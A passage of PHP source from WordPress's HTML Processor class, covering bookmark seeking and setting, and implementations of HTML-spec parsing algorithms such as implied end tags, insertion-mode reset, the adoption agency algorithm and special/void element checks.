	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $bookmark_name ): bool {
		return parent::release_bookmark( "_{$bookmark_name}" );
	}

	/**
	 * Moves the internal cursor in the HTML Processor to a given bookmark's location.
	 *
	 * Be careful! Seeking backwards to a previous location resets the parser to the
	 * start of the document and reparses the entire contents up until it finds the
	 * sought-after bookmarked location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		// Flush any pending updates to the document before beginning.
		$this->get_updated_html();

		$actual_bookmark_name = "_{$bookmark_name}";
		$processor_started_at = $this->state->current_token
			? $this->bookmarks[ $this->state->current_token->bookmark_name ]->start
			: 0;
		$bookmark_starts_at   = $this->bookmarks[ $actual_bookmark_name ]->start;
		$direction            = $bookmark_starts_at > $processor_started_at ? 'forward' : 'backward';

		/*
		 * If seeking backwards, it's possible that the sought-after bookmark exists within an element
		 * which has been closed before the current cursor; in other words, it has already been removed
		 * from the stack of open elements. This means that it's insufficient to simply pop off elements
		 * from the stack of open elements which appear after the bookmarked location and then jump to
		 * that location, as the elements which were open before won't be re-opened.
		 *
		 * In order to maintain consistency, the HTML Processor rewinds to the start of the document
		 * and reparses everything until it finds the sought-after bookmark.
		 *
		 * There are potentially better ways to do this: cache the parser state for each bookmark and
		 * restore it when seeking; store an immutable and idempotent register of where elements open
		 * and close.
		 *
		 * If caching the parser state it will be essential to properly maintain the cached stack of
		 * open elements and active formatting elements when modifying the document. This could be a
		 * tedious and time-consuming process as well, and so for now will not be performed.
		 *
		 * It may be possible to track bookmarks for where elements open and close, and in doing so
		 * be able to quickly recalculate breadcrumbs for any element in the document. It may even
		 * be possible to remove the stack of open elements and compute it on the fly this way.
		 * If doing this, the parser would need to track the opening and closing locations for all
		 * tokens in the breadcrumb path for any and all bookmarks. By utilizing bookmarks themselves
		 * this list could be automatically maintained while modifying the document. Finding the
		 * breadcrumbs would then amount to traversing that list from the start until the token
		 * being inspected. Once an element closes, if there are no bookmarks pointing to locations
		 * within that element, then all of these locations may be forgotten to save on memory use
		 * and computation time.
		 */
		if ( 'backward' === $direction ) {

			/*
			 * When moving backward, stateful stacks should be cleared.
			 */
			foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
				$this->state->stack_of_open_elements->remove_node( $item );
			}

			foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
				$this->state->active_formatting_elements->remove_node( $item );
			}

			/*
			 * **After** clearing stacks, more processor state can be reset.
			 * This must be done after clearing the stack because those stacks generate events that
			 * would appear on a subsequent call to `next_token()`.
			 */
			$this->state->frameset_ok                       = true;
			$this->state->stack_of_template_insertion_modes = array();
			$this->state->head_element                      = null;
			$this->state->form_element                      = null;
			$this->state->current_token                     = null;
			$this->current_element                          = null;
			$this->element_queue                            = array();

			/*
			 * The absence of a context node indicates a full parse.
			 * The presence of a context node indicates a fragment parser.
			 */
			if ( null === $this->context_node ) {
				$this->change_parsing_namespace( 'html' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_INITIAL;
				$this->breadcrumbs           = array();

				$this->bookmarks['initial'] = new WP_HTML_Span( 0, 0 );
				parent::seek( 'initial' );
				unset( $this->bookmarks['initial'] );
			} else {

				/*
				 * Push the root-node (HTML) back onto the stack of open elements.
				 *
				 * Fragment parsers require this extra bit of setup.
				 * It's handled in full parsers by advancing the processor state.
				 */
				$this->state->stack_of_open_elements->push(
					new WP_HTML_Token(
						'root-node',
						'HTML',
						false
					)
				);

				$this->change_parsing_namespace(
					$this->context_node->integration_node_type
						? 'html'
						: $this->context_node->namespace
				);

				if ( 'TEMPLATE' === $this->context_node->node_name ) {
					$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
				}

				$this->reset_insertion_mode_appropriately();
				$this->breadcrumbs = array_slice( $this->breadcrumbs, 0, 2 );
				parent::seek( $this->context_node->bookmark_name );
			}
		}

		/*
		 * Here, the processor moves forward through the document until it matches the bookmark.
		 * do-while is used here because the processor is expected to already be stopped on
		 * a token than may match the bookmarked location.
		 */
		do {
			/*
			 * The processor will stop on virtual tokens, but bookmarks may not be set on them.
			 * They should not be matched when seeking a bookmark, skip them.
			 */
			if ( $this->is_virtual() ) {
				continue;
			}
			if ( $bookmark_starts_at === $this->bookmarks[ $this->state->current_token->bookmark_name ]->start ) {
				return true;
			}
		} while ( $this->next_token() );

		return false;
	}

	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * Bookmarks cannot be set on tokens that do no appear in the original
	 * HTML text. For example, the HTML `<table><td>` stops at tags `TABLE`,
	 * `TBODY`, `TR`, and `TD`. The `TBODY` and `TR` tags do not appear in
	 * the original HTML and cannot be used as bookmarks.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $bookmark_name ): bool {
		if ( $this->is_virtual() ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Cannot set bookmarks on tokens that do no appear in the original HTML text.' ),
				'6.8.0'
			);
			return false;
		}
		return parent::set_bookmark( "_{$bookmark_name}" );
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.5.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return parent::has_bookmark( "_{$bookmark_name}" );
	}

	/*
	 * HTML Parsing Algorithms
	 */

	/**
	 * Closes a P element.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#close-a-p-element
	 */
	private function close_a_p_element(): void {
		$this->generate_implied_end_tags( 'P' );
		$this->state->stack_of_open_elements->pop_until( 'P' );
	}

	/**
	 * Closes elements that have implied end tags.
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full spec support.
	 *
	 * @see https://html.spec.whatwg.org/#generate-implied-end-tags
	 *
	 * @param string|null $except_for_this_element Perform as if this element doesn't exist in the stack of open elements.
	 */
	private function generate_implied_end_tags( ?string $except_for_this_element = null ): void {
		$elements_with_implied_end_tags = array(
			'DD',
			'DT',
			'LI',
			'OPTGROUP',
			'OPTION',
			'P',
			'RB',
			'RP',
			'RT',
			'RTC',
		);

		$no_exclusions = ! isset( $except_for_this_element );

		while (
			( $no_exclusions || ! $this->state->stack_of_open_elements->current_node_is( $except_for_this_element ) ) &&
			in_array( $this->state->stack_of_open_elements->current_node()->node_name, $elements_with_implied_end_tags, true )
		) {
			$this->state->stack_of_open_elements->pop();
		}
	}

	/**
	 * Closes elements that have implied end tags, thoroughly.
	 *
	 * See the HTML specification for an explanation why this is
	 * different from generating end tags in the normal sense.
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full spec support.
	 *
	 * @see WP_HTML_Processor::generate_implied_end_tags
	 * @see https://html.spec.whatwg.org/#generate-implied-end-tags
	 */
	private function generate_implied_end_tags_thoroughly(): void {
		$elements_with_implied_end_tags = array(
			'CAPTION',
			'COLGROUP',
			'DD',
			'DT',
			'LI',
			'OPTGROUP',
			'OPTION',
			'P',
			'RB',
			'RP',
			'RT',
			'RTC',
			'TBODY',
			'TD',
			'TFOOT',
			'TH',
			'THEAD',
			'TR',
		);

		while ( in_array( $this->state->stack_of_open_elements->current_node()->node_name, $elements_with_implied_end_tags, true ) ) {
			$this->state->stack_of_open_elements->pop();
		}
	}

	/**
	 * Returns the adjusted current node.
	 *
	 * > The adjusted current node is the context element if the parser was created as
	 * > part of the HTML fragment parsing algorithm and the stack of open elements
	 * > has only one element in it (fragment case); otherwise, the adjusted current
	 * > node is the current node.
	 *
	 * @see https://html.spec.whatwg.org/#adjusted-current-node
	 *
	 * @since 6.7.0
	 *
	 * @return WP_HTML_Token|null The adjusted current node.
	 */
	private function get_adjusted_current_node(): ?WP_HTML_Token {
		if ( isset( $this->context_node ) && 1 === $this->state->stack_of_open_elements->count() ) {
			return $this->context_node;
		}

		return $this->state->stack_of_open_elements->current_node();
	}

	/**
	 * Reconstructs the active formatting elements.
	 *
	 * > This has the effect of reopening all the formatting elements that were opened
	 * > in the current body, cell, or caption (whichever is youngest) that haven't
	 * > been explicitly closed.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#reconstruct-the-active-formatting-elements
	 *
	 * @return bool Whether any formatting elements needed to be reconstructed.
	 */
	private function reconstruct_active_formatting_elements(): bool {
		/*
		 * > If there are no entries in the list of active formatting elements, then there is nothing
		 * > to reconstruct; stop this algorithm.
		 */
		if ( 0 === $this->state->active_formatting_elements->count() ) {
			return false;
		}

		$last_entry = $this->state->active_formatting_elements->current_node();
		if (

			/*
			 * > If the last (most recently added) entry in the list of active formatting elements is a marker;
			 * > stop this algorithm.
			 */
			'marker' === $last_entry->node_name ||

			/*
			 * > If the last (most recently added) entry in the list of active formatting elements is an
			 * > element that is in the stack of open elements, then there is nothing to reconstruct;
			 * > stop this algorithm.
			 */
			$this->state->stack_of_open_elements->contains_node( $last_entry )
		) {
			return false;
		}

		$this->bail( 'Cannot reconstruct active formatting elements when advancing and rewinding is required.' );
	}

	/**
	 * Runs the reset the insertion mode appropriately algorithm.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#reset-the-insertion-mode-appropriately
	 */
	private function reset_insertion_mode_appropriately(): void {
		// Set the first node.
		$first_node = null;
		foreach ( $this->state->stack_of_open_elements->walk_down() as $first_node ) {
			break;
		}

		/*
		 * > 1. Let _last_ be false.
		 */
		$last = false;
		foreach ( $this->state->stack_of_open_elements->walk_up() as $node ) {
			/*
			 * > 2. Let _node_ be the last node in the stack of open elements.
			 * > 3. _Loop_: If _node_ is the first node in the stack of open elements, then set _last_
			 * >            to true, and, if the parser was created as part of the HTML fragment parsing
			 * >            algorithm (fragment case), set node to the context element passed to
			 * >            that algorithm.
			 * > …
			 */
			if ( $node === $first_node ) {
				$last = true;
				if ( isset( $this->context_node ) ) {
					$node = $this->context_node;
				}
			}

			// All of the following rules are for matching HTML elements.
			if ( 'html' !== $node->namespace ) {
				continue;
			}

			switch ( $node->node_name ) {
				/*
				 * > 4. If node is a `select` element, run these substeps:
				 * >   1. If _last_ is true, jump to the step below labeled done.
				 * >   2. Let _ancestor_ be _node_.
				 * >   3. _Loop_: If _ancestor_ is the first node in the stack of open elements,
				 * >      jump to the step below labeled done.
				 * >   4. Let ancestor be the node before ancestor in the stack of open elements.
				 * >   …
				 * >   7. Jump back to the step labeled _loop_.
				 * >   8. _Done_: Switch the insertion mode to "in select" and return.
				 */
				case 'SELECT':
					if ( ! $last ) {
						foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $ancestor ) {
							if ( 'html' !== $ancestor->namespace ) {
								continue;
							}

							switch ( $ancestor->node_name ) {
								/*
								 * > 5. If _ancestor_ is a `template` node, jump to the step below
								 * >    labeled _done_.
								 */
								case 'TEMPLATE':
									break 2;

								/*
								 * > 6. If _ancestor_ is a `table` node, switch the insertion mode to
								 * >    "in select in table" and return.
								 */
								case 'TABLE':
									$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE;
									return;
							}
						}
					}
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT;
					return;

				/*
				 * > 5. If _node_ is a `td` or `th` element and _last_ is false, then switch the
				 * >    insertion mode to "in cell" and return.
				 */
				case 'TD':
				case 'TH':
					if ( ! $last ) {
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CELL;
						return;
					}
					break;

					/*
					* > 6. If _node_ is a `tr` element, then switch the insertion mode to "in row"
					* >    and return.
					*/
				case 'TR':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
					return;

				/*
				 * > 7. If _node_ is a `tbody`, `thead`, or `tfoot` element, then switch the
				 * >    insertion mode to "in table body" and return.
				 */
				case 'TBODY':
				case 'THEAD':
				case 'TFOOT':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
					return;

				/*
				 * > 8. If _node_ is a `caption` element, then switch the insertion mode to
				 * >    "in caption" and return.
				 */
				case 'CAPTION':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION;
					return;

				/*
				 * > 9. If _node_ is a `colgroup` element, then switch the insertion mode to
				 * >    "in column group" and return.
				 */
				case 'COLGROUP':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
					return;

				/*
				 * > 10. If _node_ is a `table` element, then switch the insertion mode to
				 * >     "in table" and return.
				 */
				case 'TABLE':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
					return;

				/*
				 * > 11. If _node_ is a `template` element, then switch the insertion mode to the
				 * >     current template insertion mode and return.
				 */
				case 'TEMPLATE':
					$this->state->insertion_mode = end( $this->state->stack_of_template_insertion_modes );
					return;

				/*
				 * > 12. If _node_ is a `head` element and _last_ is false, then switch the
				 * >     insertion mode to "in head" and return.
				 */
				case 'HEAD':
					if ( ! $last ) {
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
						return;
					}
					break;

				/*
				 * > 13. If _node_ is a `body` element, then switch the insertion mode to "in body"
				 * >     and return.
				 */
				case 'BODY':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
					return;

				/*
				 * > 14. If _node_ is a `frameset` element, then switch the insertion mode to
				 * >     "in frameset" and return. (fragment case)
				 */
				case 'FRAMESET':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET;
					return;

				/*
				 * > 15. If _node_ is an `html` element, run these substeps:
				 * >     1. If the head element pointer is null, switch the insertion mode to
				 * >        "before head" and return. (fragment case)
				 * >     2. Otherwise, the head element pointer is not null, switch the insertion
				 * >        mode to "after head" and return.
				 */
				case 'HTML':
					$this->state->insertion_mode = isset( $this->state->head_element )
						? WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD
						: WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
					return;
			}
		}

		/*
		 * > 16. If _last_ is true, then switch the insertion mode to "in body"
		 * >     and return. (fragment case)
		 *
		 * This is only reachable if `$last` is true, as per the fragment parsing case.
		 */
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
	}

	/**
	 * Runs the adoption agency algorithm.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#adoption-agency-algorithm
	 */
	private function run_adoption_agency_algorithm(): void {
		$budget       = 1000;
		$subject      = $this->get_tag();
		$current_node = $this->state->stack_of_open_elements->current_node();

		if (
			// > If the current node is an HTML element whose tag name is subject
			$current_node && $subject === $current_node->node_name &&
			// > the current node is not in the list of active formatting elements
			! $this->state->active_formatting_elements->contains_node( $current_node )
		) {
			$this->state->stack_of_open_elements->pop();
			return;
		}

		$outer_loop_counter = 0;
		while ( $budget-- > 0 ) {
			if ( $outer_loop_counter++ >= 8 ) {
				return;
			}

			/*
			 * > Let formatting element be the last element in the list of active formatting elements that:
			 * >   - is between the end of the list and the last marker in the list,
			 * >     if any, or the start of the list otherwise,
			 * >   - and has the tag name subject.
			 */
			$formatting_element = null;
			foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
				if ( 'marker' === $item->node_name ) {
					break;
				}

				if ( $subject === $item->node_name ) {
					$formatting_element = $item;
					break;
				}
			}

			// > If there is no such element, then return and instead act as described in the "any other end tag" entry above.
			if ( null === $formatting_element ) {
				$this->bail( 'Cannot run adoption agency when "any other end tag" is required.' );
			}

			// > If formatting element is not in the stack of open elements, then this is a parse error; remove the element from the list, and return.
			if ( ! $this->state->stack_of_open_elements->contains_node( $formatting_element ) ) {
				$this->state->active_formatting_elements->remove_node( $formatting_element );
				return;
			}

			// > If formatting element is in the stack of open elements, but the element is not in scope, then this is a parse error; return.
			if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $formatting_element->node_name ) ) {
				return;
			}

			/*
			 * > Let furthest block be the topmost node in the stack of open elements that is lower in the stack
			 * > than formatting element, and is an element in the special category. There might not be one.
			 */
			$is_above_formatting_element = true;
			$furthest_block              = null;
			foreach ( $this->state->stack_of_open_elements->walk_down() as $item ) {
				if ( $is_above_formatting_element && $formatting_element->bookmark_name !== $item->bookmark_name ) {
					continue;
				}

				if ( $is_above_formatting_element ) {
					$is_above_formatting_element = false;
					continue;
				}

				if ( self::is_special( $item ) ) {
					$furthest_block = $item;
					break;
				}
			}

			/*
			 * > If there is no furthest block, then the UA must first pop all the nodes from the bottom of the
			 * > stack of open elements, from the current node up to and including formatting element, then
			 * > remove formatting element from the list of active formatting elements, and finally return.
			 */
			if ( null === $furthest_block ) {
				foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
					$this->state->stack_of_open_elements->pop();

					if ( $formatting_element->bookmark_name === $item->bookmark_name ) {
						$this->state->active_formatting_elements->remove_node( $formatting_element );
						return;
					}
				}
			}

			$this->bail( 'Cannot extract common ancestor in adoption agency algorithm.' );
		}

		$this->bail( 'Cannot run adoption agency when looping required.' );
	}

	/**
	 * Runs the "close the cell" algorithm.
	 *
	 * > Where the steps above say to close the cell, they mean to run the following algorithm:
	 * >   1. Generate implied end tags.
	 * >   2. If the current node is not now a td element or a th element, then this is a parse error.
	 * >   3. Pop elements from the stack of open elements stack until a td element or a th element has been popped from the stack.
	 * >   4. Clear the list of active formatting elements up to the last marker.
	 * >   5. Switch the insertion mode to "in row".
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#close-the-cell
	 *
	 * @since 6.7.0
	 */
	private function close_cell(): void {
		$this->generate_implied_end_tags();
		// @todo Parse error if the current node is a "td" or "th" element.
		foreach ( $this->state->stack_of_open_elements->walk_up() as $element ) {
			$this->state->stack_of_open_elements->pop();
			if ( 'TD' === $element->node_name || 'TH' === $element->node_name ) {
				break;
			}
		}
		$this->state->active_formatting_elements->clear_up_to_last_marker();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
	}

	/**
	 * Inserts an HTML element on the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#insert-a-foreign-element
	 *
	 * @param WP_HTML_Token $token Name of bookmark pointing to element in original input HTML.
	 */
	private function insert_html_element( WP_HTML_Token $token ): void {
		$this->state->stack_of_open_elements->push( $token );
	}

	/**
	 * Inserts a foreign element on to the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#insert-a-foreign-element
	 *
	 * @param WP_HTML_Token $token                     Insert this token. The token's namespace and
	 *                                                 insertion point will be updated correctly.
	 * @param bool          $only_add_to_element_stack Whether to skip the "insert an element at the adjusted
	 *                                                 insertion location" algorithm when adding this element.
	 */
	private function insert_foreign_element( WP_HTML_Token $token, bool $only_add_to_element_stack ): void {
		$adjusted_current_node = $this->get_adjusted_current_node();

		$token->namespace = $adjusted_current_node ? $adjusted_current_node->namespace : 'html';

		if ( $this->is_mathml_integration_point() ) {
			$token->integration_node_type = 'math';
		} elseif ( $this->is_html_integration_point() ) {
			$token->integration_node_type = 'html';
		}

		if ( false === $only_add_to_element_stack ) {
			/*
			 * @todo Implement the "appropriate place for inserting a node" and the
			 *       "insert an element at the adjusted insertion location" algorithms.
			 *
			 * These algorithms mostly impacts DOM tree construction and not the HTML API.
			 * Here, there's no DOM node onto which the element will be appended, so the
			 * parser will skip this step.
			 *
			 * @see https://html.spec.whatwg.org/#insert-an-element-at-the-adjusted-insertion-location
			 */
		}

		$this->insert_html_element( $token );
	}

	/**
	 * Inserts a virtual element on the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @param string      $token_name    Name of token to create and insert into the stack of open elements.
	 * @param string|null $bookmark_name Optional. Name to give bookmark for created virtual node.
	 *                                   Defaults to auto-creating a bookmark name.
	 * @return WP_HTML_Token Newly-created virtual token.
	 */
	private function insert_virtual_node( $token_name, $bookmark_name = null ): WP_HTML_Token {
		$here = $this->bookmarks[ $this->state->current_token->bookmark_name ];
		$name = $bookmark_name ?? $this->bookmark_token();

		$this->bookmarks[ $name ] = new WP_HTML_Span( $here->start, 0 );

		$token = new WP_HTML_Token( $name, $token_name, false );
		$this->insert_html_element( $token );
		return $token;
	}

	/*
	 * HTML Specification Helpers
	 */

	/**
	 * Indicates if the current token is a MathML integration point.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#mathml-text-integration-point
	 *
	 * @return bool Whether the current token is a MathML integration point.
	 */
	private function is_mathml_integration_point(): bool {
		$current_token = $this->state->current_token;
		if ( ! isset( $current_token ) ) {
			return false;
		}

		if ( 'math' !== $current_token->namespace || 'M' !== $current_token->node_name[0] ) {
			return false;
		}

		$tag_name = $current_token->node_name;

		return (
			'MI' === $tag_name ||
			'MO' === $tag_name ||
			'MN' === $tag_name ||
			'MS' === $tag_name ||
			'MTEXT' === $tag_name
		);
	}

	/**
	 * Indicates if the current token is an HTML integration point.
	 *
	 * Note that this method must be an instance method with access
	 * to the current token, since it needs to examine the attributes
	 * of the currently-matched tag, if it's in the MathML namespace.
	 * Otherwise it would be required to scan the HTML and ensure that
	 * no other accounting is overlooked.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#html-integration-point
	 *
	 * @return bool Whether the current token is an HTML integration point.
	 */
	private function is_html_integration_point(): bool {
		$current_token = $this->state->current_token;
		if ( ! isset( $current_token ) ) {
			return false;
		}

		if ( 'html' === $current_token->namespace ) {
			return false;
		}

		$tag_name = $current_token->node_name;

		if ( 'svg' === $current_token->namespace ) {
			return (
				'DESC' === $tag_name ||
				'FOREIGNOBJECT' === $tag_name ||
				'TITLE' === $tag_name
			);
		}

		if ( 'math' === $current_token->namespace ) {
			if ( 'ANNOTATION-XML' !== $tag_name ) {
				return false;
			}

			$encoding = $this->get_attribute( 'encoding' );

			return (
				is_string( $encoding ) &&
				(
					0 === strcasecmp( $encoding, 'application/xhtml+xml' ) ||
					0 === strcasecmp( $encoding, 'text/html' )
				)
			);
		}

		$this->bail( 'Should not have reached end of HTML Integration Point detection: check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/**
	 * Returns whether an element of a given name is in the HTML special category.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#special
	 *
	 * @param WP_HTML_Token|string $tag_name Node to check, or only its name if in the HTML namespace.
	 * @return bool Whether the element of the given name is in the special category.
	 */
	public static function is_special( $tag_name ): bool {
		if ( is_string( $tag_name ) ) {
			$tag_name = strtoupper( $tag_name );
		} else {
			$tag_name = 'html' === $tag_name->namespace
				? strtoupper( $tag_name->node_name )
				: "{$tag_name->namespace} {$tag_name->node_name}";
		}

		return (
			'ADDRESS' === $tag_name ||
			'APPLET' === $tag_name ||
			'AREA' === $tag_name ||
			'ARTICLE' === $tag_name ||
			'ASIDE' === $tag_name ||
			'BASE' === $tag_name ||
			'BASEFONT' === $tag_name ||
			'BGSOUND' === $tag_name ||
			'BLOCKQUOTE' === $tag_name ||
			'BODY' === $tag_name ||
			'BR' === $tag_name ||
			'BUTTON' === $tag_name ||
			'CAPTION' === $tag_name ||
			'CENTER' === $tag_name ||
			'COL' === $tag_name ||
			'COLGROUP' === $tag_name ||
			'DD' === $tag_name ||
			'DETAILS' === $tag_name ||
			'DIR' === $tag_name ||
			'DIV' === $tag_name ||
			'DL' === $tag_name ||
			'DT' === $tag_name ||
			'EMBED' === $tag_name ||
			'FIELDSET' === $tag_name ||
			'FIGCAPTION' === $tag_name ||
			'FIGURE' === $tag_name ||
			'FOOTER' === $tag_name ||
			'FORM' === $tag_name ||
			'FRAME' === $tag_name ||
			'FRAMESET' === $tag_name ||
			'H1' === $tag_name ||
			'H2' === $tag_name ||
			'H3' === $tag_name ||
			'H4' === $tag_name ||
			'H5' === $tag_name ||
			'H6' === $tag_name ||
			'HEAD' === $tag_name ||
			'HEADER' === $tag_name ||
			'HGROUP' === $tag_name ||
			'HR' === $tag_name ||
			'HTML' === $tag_name ||
			'IFRAME' === $tag_name ||
			'IMG' === $tag_name ||
			'INPUT' === $tag_name ||
			'KEYGEN' === $tag_name ||
			'LI' === $tag_name ||
			'LINK' === $tag_name ||
			'LISTING' === $tag_name ||
			'MAIN' === $tag_name ||
			'MARQUEE' === $tag_name ||
			'MENU' === $tag_name ||
			'META' === $tag_name ||
			'NAV' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'NOSCRIPT' === $tag_name ||
			'OBJECT' === $tag_name ||
			'OL' === $tag_name ||
			'P' === $tag_name ||
			'PARAM' === $tag_name ||
			'PLAINTEXT' === $tag_name ||
			'PRE' === $tag_name ||
			'SCRIPT' === $tag_name ||
			'SEARCH' === $tag_name ||
			'SECTION' === $tag_name ||
			'SELECT' === $tag_name ||
			'SOURCE' === $tag_name ||
			'STYLE' === $tag_name ||
			'SUMMARY' === $tag_name ||
			'TABLE' === $tag_name ||
			'TBODY' === $tag_name ||
			'TD' === $tag_name ||
			'TEMPLATE' === $tag_name ||
			'TEXTAREA' === $tag_name ||
			'TFOOT' === $tag_name ||
			'TH' === $tag_name ||
			'THEAD' === $tag_name ||
			'TITLE' === $tag_name ||
			'TR' === $tag_name ||
			'TRACK' === $tag_name ||
			'UL' === $tag_name ||
			'WBR' === $tag_name ||
			'XMP' === $tag_name ||

			// MathML.
			'math MI' === $tag_name ||
			'math MO' === $tag_name ||
			'math MN' === $tag_name ||
			'math MS' === $tag_name ||
			'math MTEXT' === $tag_name ||
			'math ANNOTATION-XML' === $tag_name ||

			// SVG.
			'svg DESC' === $tag_name ||
			'svg FOREIGNOBJECT' === $tag_name ||
			'svg TITLE' === $tag_name
		);
	}

	/**
	 * Returns whether a given element is an HTML Void Element
	 *
	 * > area, base, br, col, embed, hr, img, input, link, meta, source, track, wbr
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#void-elements
	 *
	 * @param string $tag_name Name of HTML tag to check.
	 * @return bool Whether the given tag is an HTML Void Element.
	 */
	public static function is_void( $tag_name ): bool {
		$tag_name = strtoupper( $tag_name );

		return (
			'AREA' === $tag_name ||
			'BASE' === $tag_name ||
			'BASEFONT' === $tag_name || // Obsolete but still treated as void.
			'BGSOUND' === $tag_name || // Obsolete but still treated as void.
			'BR' === $tag_name ||
			'COL' === $tag_name ||
			'EMBED' === $tag_name ||
			'FRAME' === $tag_name ||
			'HR' === $tag_name ||
			'IMG' === $tag_name ||
			'INPUT' === $tag_name ||
			'KEYGEN' === $tag_name || // Obsolete but still treated as void.
			'LINK' === $tag_name ||
			'META' === $tag_name ||
			'PARAM' === $tag_name || // Obsolete but still treated as void.
